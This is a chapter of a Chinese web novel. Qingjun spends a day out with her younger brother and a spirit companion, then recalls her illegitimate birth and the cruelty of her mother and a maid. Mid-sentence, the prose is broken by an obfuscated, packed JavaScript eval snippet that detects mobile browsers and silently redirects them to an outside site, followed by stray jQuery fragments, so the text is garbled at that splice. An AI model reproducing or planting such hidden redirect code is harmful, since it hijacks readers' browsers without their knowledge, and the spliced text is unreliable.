近来分外操劳,不算强健的宋青君其实有些疲倦了。
加之那夜凉风习习,声音也被侵得沙哑,就算有宋书禹用法术相助,她仍感觉无力。
但青君还是撑着带宋嘉行出府散心了。
去江边游湖,一览翠绿水色。
去梨园听曲,沉浸悠扬腔调。
去酒楼求醉……
等等,这个不行。
宋青君没带他去,只将其拉到了茶楼喝茶听书。
俯下身,她义正言辞地拒绝。
“小孩子不能饮酒。”
“哦。好吧。”
宋嘉行鼓起的嘴巴顿时泄了气。
只得坐到方桌前,他郁闷地借茶浇愁。
青君无所事事,便在一旁帮他剥瓜子。
而见她手指翻飞,宋嘉行又有些不好意思。
他端着茶杯,专注望着对面,长长的眉毛一扑一闪。
“姐姐,其实我可以自己用牙咬的。”
“对牙不好,你专心听书就行,不用在意。”
“哦,谢谢二姐姐!”
绽开笑容,宋嘉行脆生生答道,然后便转头听戏了。
到底也还只是个八九岁的孩子,垂头丧气没一会他就被说书的讲的故事吸引,听得津津有味。
这时,宋书禹悄悄凑上来。
“姐姐。”
他趴在桌边,探出脑袋,模仿着宋嘉行的语气,像小孩子一般撒娇地说道。
“我也想要。”
闻声,青君微侧头。
“现在不方便。你先抓一把带着,晚上回去我再帮你剥。”
“嘿嘿,姐姐你最好啦!”
宋书禹边说边傻笑着退了回去。
对面的宋嘉行察觉好像有动静,他转头,面露疑惑。
“嗯?二姐姐,你刚才在说话吗?”
宋青君神色未变,但手还是不自觉顿了一下。
接着,她继续动作,镇定地回答:“没有,你听错了。”
对面小孩也只当自己是听岔了,没有在意,又转头支着下巴听戏去了。
几个时辰悄无声息地略过。
等他们出了茶楼,天已黑了。
夜幕降临,暗黑的背景将四周衬得更是灯火通明。
吆喝声,小摊上热油烧起的滋滋声清晰入耳。
各种甜辣鲜香的气味也钻入鼻腔,勾得人心痒痒。
领着宋嘉行去楼里用过晚膳,青君还顺道带着他去逛了夜市。
她将买来串糖葫芦递给宋嘉行。
然后想了想,她又买了串,打算给身边另外那个“小鬼”。
“嗯?”
见向来不偏爱甜食的二姐姐手里拿了串糖葫芦,还不吃,宋嘉行有些纳闷。
牵着对方的手,他仰头好奇地问。
“二姐姐,你不是不喜欢吃甜食吗?”
“……突然想尝试一下。”
“哦,那二姐姐你怎么不吃呀?”
“嗯……我想回府再吃。”
听到回府,宋嘉行面上的喜色淡去。
他微微垂头,沉默。
片刻后,一道刻意压低的声音传出。
“二姐姐,我想直接去书院。”
“好,我回去会告诉湘鱼的。”
青君没多问,只是离别前,她又蹲下轻揉小孩的脑袋。
“安心念书吧。”
“嗯!”
宋嘉行挥去面上的阴霾,重重点头,绽放笑容,挥手向其告别。
“真的很感谢二姐姐今天带我出来玩!二姐姐再见!”
青君也挥挥手。
接着回府,她还是随手找了个丫鬟去通知湘鱼这事。
而等进了屋,彻底没旁人后,她将糖葫芦递给宋书禹。
青君不清楚它会化掉,一直拿在手上。
而这糖葫芦之所以到现在仍完好如初是因为宋书禹用法术将其保存了下来。
他不想糖浆黏住青君的手。
傻笑着接过后,他将其递到青君面前。
“你不吃吗?”
“我不用。”
青君摆手拒绝,然后又伸出胳膊。
“对了,把瓜子给我吧。”
“啊?”
“你没带吗?”
她望向对面,歪歪头。
“不是说回来后我给你剥吗?”
宋书禹呆呆地眨巴眨巴眼睛。
而后,金子般细碎的星光一点点拨开黑暗,映满了整双眼。
他注视着面前的人,漾开笑意。
“啊,这事啊。嘿嘿,我只是随口一说的,你也累了,快去好好休息吧。”
将青君推去睡觉后,他出屋,从衣襟里掏出一个小布袋。
布袋里装了些瓜子。
宋书禹抓出几颗,细细摩挲。
嘴角怎么也压不下去。
另一边。
湘鱼得知宋嘉行没有回来后,沉默,随意摆摆手让丫鬟退下去。
等熬到把事物都打理好了她才回到江夫人院里。
江夫人也没睡。
她一个人慵懒地半卧在亭子里,倚着亭柱,望向上空漆黑的夜。
那一半的皓月早已消失无踪。
“夫人,小少爷已经回书院了。”
江夫人没应声。
“小少爷他,发现了吗?”
这次江夫人应了,但也只是随意嗯了声。
气氛沉寂下来。
突然,她转头,淡淡开口:“想说什么就直说吧。”
湘鱼抿唇,跪下。
“奴婢知道夫人心里知道奴婢要说什么。奴婢也清楚说出来就逾越了。”
“可是,夫人,您对小少爷这样冷淡,会不会……
“太残忍了?”
四周再次安静。
良久,江夫人闭目,叹息。
“退下吧。”
几日匆匆而过,宋书禹来回飘着。
在夜晚吹了风又带着宋嘉行出门,宋青君觉得头沉沉的,像是着了凉。
裹着斗篷坐上廊檐,依靠廊柱,她手捧着热茶,眼随着动静来回摆动。
发现脑袋更晕了,她轻咳一声。
“怎么了?”
宋书禹停下,神色分外犹豫不决。
“这个、内个……”
支支吾吾好一会后他才组织好语言。
“姐姐,事先声明,我绝对没有什么偷窥的癖好!
“我只是怀疑那小孩的娘那边可能有什么异常,就、就就去那里查看了几次……”
他声音渐弱。
宋青君的好奇心被勾起,不只为宋嘉行的举动,还为宋书禹现在这扭捏的态度。
“那你查到什么了?”
“我、我发现那个夫人她红杏出墙,额,也不对……”
宋书禹卡卡顿顿地说着,而后挠挠头,一时间不知该如何形容。
“怎么说呢,是——”
突然想到合适的词语,他一拍脑门,激动开口。
“旧情复燃!”
“她好像嫁进来之前就有了情人,现在两人……”
情人……
听到这两个字,掩藏心底的记忆一下子翻涌腾升,昏昏的头像是猝然被撕裂了。
瞳孔猛缩,青君手指脱力。
茶杯摔落地上,咕噜噜地滚远。
“啊……你怎……”
对面声音听起来遥远又缥缈,青君只能迷茫地望向声源,伸出手。
最终,陷入黑暗。
曾经的记忆徐徐展开——
青君一直知道,自己根本就不是什么宋府的小姐。
她只是一个野种。
江夫人的事像把钥匙,将其心里那扇尘封已久的门打开,让她不得不再次直面自己的身世。
十五年前,宋府和宁府结亲。
俊美公子和冷艳小姐从表面上看是门当户对、天作之合。
但事实上,宋汲当时正心系美艳大方的妓女赵杏梅。
宁小姐也在闺中就有了情郎。
或许是为了释放压抑已久的天性。
或许是为了报复那些让她恼怒的礼教宗法。
表面上一直端庄守礼的宁小姐做了件最大逆不道的事——
她与人暗通款曲、无媒而合。
那人不是旁的,却是来宁府借住的陆姓远房表亲。
可天下没有不透风墙,宁府老爷还是知晓了此事。
恰逢要安排宁宋两府结亲,他勃然大怒,欲将姓陆的那小子除之而后快。
宁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233265|165957||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小姐拼死阻拦。
为此,她甚至答应了之前死命不同意的婚事。
最终那人被打得半死丢出了府。
宁小姐则被勒令永不得再与其相见。
然后,她穿上嫁衣,坐上花轿。
那花轿晃晃悠悠地进了宋府的大门。
宁小姐也成了宁夫人。
但谁也没想到,她其实早已珠胎暗结。
可能是为了报复,可能是想让那场惊天动地的反抗有一个结果。
也有可能只是想留一个拿来逗趣的玩意,她偷偷吃药,不断推迟临盆产子的时间。
所以在旁人眼里,宁夫人是来到宋府后不久才有的身孕。
接着怀胎十月后,她生下了一位“二小姐”。
宋青君也正是因为受了过多的药物,一生下来就是个瞎子。
这宁夫人做了这么多,看起来就像是个被爱情冲昏了头脑的怀春少女。
但事实并非如此。
她很清醒,清醒到整个人都是冷的,心更是冷的。
她只爱自己。
因为厌恶被逼着学女戒,学那些圣贤书,她会在仆人身上发泄怒火。
因为痛恨被当作物品被卖入宋府,她放任自己堕落于情欲之中,获取片刻的欢愉。
她未尝不知道姓陆的只是为了在宁府里好过一些才对她倍献殷勤,对她嘘寒问暖。
但她不在意。
她只是想放纵一次,想看到自己父亲那像是吃了苍蝇一般的表情。
那会让她有报复成功的快感。
不过,她也知道,事情不能做太过火。
心里痛骂女戒狗屁不通,实际上她也表现得谨遵教诲。
就算暗地里再暴躁易怒,明面上她也依然是大家闺秀。
即使厌恶与宋汲的婚事,行为上她也对丈夫关怀备至。
她很清楚,在那些人眼里,她只是个锦上添花的物件。
只有顺从,她才有价值。
可清醒的同时,她又心怀不满。
不满自己被任人拿捏。
有时不想让他人太称心如意了,她便会在一定限度内做些反抗。
所以,对她而言,陆郎与宋青君都是她的战果,是她反抗胜利的象征。
她确实对两人抱有特殊的情感,但那不见得是爱。
就算有那么一点爱,那她爱的也是——
背后所展现的、反抗成功的、显露出真实叛逆的一面的自己。
然而就算是反抗她也只能做这些无关痛痒的事。
知道自己可悲,她便格外痛恨那些高高在上的,可以随意主宰她命运的人。
但是,她其实更痛恨的是——
高高在上,可以随意主宰他人命运的人不是自己。
不过这种状况在她面对仆人与宋青君时,就变了。
因为那时,她掌握了生杀大权,掌握了高人一等的特权。
所以对于宋青君的出生,她也算高兴。
她喜欢像她父亲那般,以上位者的姿态,将宋青君塑造成她想要的模样。
宁夫人身边有一个贴身丫鬟,叫春华。
因着家里是杀猪的,她力气很大,干活也利索。
加上又很会在宁夫人面前谄媚讨好、伏低做小,她便深得其喜爱。
而且,她也不是个甘居人下的家伙。
面对宋青君,她会背地里辱骂其是野种,更甚,有时还会动手。
宁夫人让宋青君学礼仪,动辄站几个时辰,跪几个时辰。
只要稍有晃动,她就令春华拧宋青君的皮。
春华便学会了这一招。
她常以此来发泄不满,顺便找些自己也算是高人一等的快感。
春华力气大,拧一下就会出现青紫,几天消不掉。
那时,宋青君身上几乎就没有完好的皮肉。
宁夫人当然知道这事,但她不在意。
在她眼里,宋青君弱小无用,活该任人蹂躏。
只有成为立于高处的人,才能随心所欲,才能揉搓别人。
这是她的真理。
五年后。
很多事变了,宁家也渐渐没落了。
宁夫人又遇见了陆郎。
一切急转而下,朝着不可避免的悲剧急速驶去。